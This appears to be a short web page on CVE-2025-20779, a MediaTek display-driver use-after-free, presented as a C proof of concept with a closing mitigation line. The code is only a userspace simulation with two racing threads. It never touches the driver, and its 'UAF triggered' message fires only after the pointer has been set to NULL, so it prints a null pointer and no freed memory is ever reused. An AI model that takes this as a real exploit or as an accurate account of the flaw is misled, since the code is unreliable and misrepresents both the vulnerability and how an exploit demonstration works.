CVE-2025-20779: MediaTek显示驱动Use After Free本地提权漏洞

// CVE-2025-20779 PoC - MediaTek Display Driver Use After Free // This PoC demonstrates the race condition in MediaTek display driver // Note: Requires system-level privileges to execute #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> // Simulated display driver structures typedef struct { void* buffer; size_t size; int ref_count; } display_buffer_t; typedef struct { display_buffer_t* active_buffer; pthread_mutex_t lock; } display_driver_t; display_driver_t driver = {NULL, PTHREAD_MUTEX_INITIALIZER}; volatile int race_triggered = 0; void* thread_free_buffer(void* arg) { // Thread 1: Releases the buffer pthread_mutex_lock(&driver.lock); if (driver.active_buffer != NULL) { free(driver.active_buffer->buffer); driver.active_buffer->buffer = NULL; // UAF condition starts here race_triggered = 1; } pthread_mutex_unlock(&driver.lock); return NULL; } void* thread_use_buffer(void* arg) { // Thread 2: Uses the freed buffer (race condition) while (!race_triggered) { usleep(100); } pthread_mutex_lock(&driver.lock); if (driver.active_buffer != NULL && driver.active_buffer->buffer == NULL) { // Use After Free: Accessing already freed memory printf("[+] UAF triggered: Buffer at %p was freed but is being accessed\n", driver.active_buffer->buffer); // In real exploit, this would be used to hijack control flow } pthread_mutex_unlock(&driver.lock); return NULL; } int main() { printf("[*] CVE-2025-20779 PoC - MediaTek Display Driver UAF\n"); printf("[*] Requires system privileges\n"); // Initialize driver driver.active_buffer = malloc(sizeof(display_buffer_t)); driver.active_buffer->buffer = malloc(0x1000); driver.active_buffer->size = 0x1000; // Create race condition threads pthread_t t1, t2; pthread_create(&t1, NULL, thread_free_buffer, NULL); pthread_create(&t2, NULL, thread_use_buffer, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("[*] Exploitation requires more sophisticated heap grooming\n"); return 0; } // Mitigation: Apply MediaTek patch ALPS10184084 // Ensure proper reference counting and locking mechanisms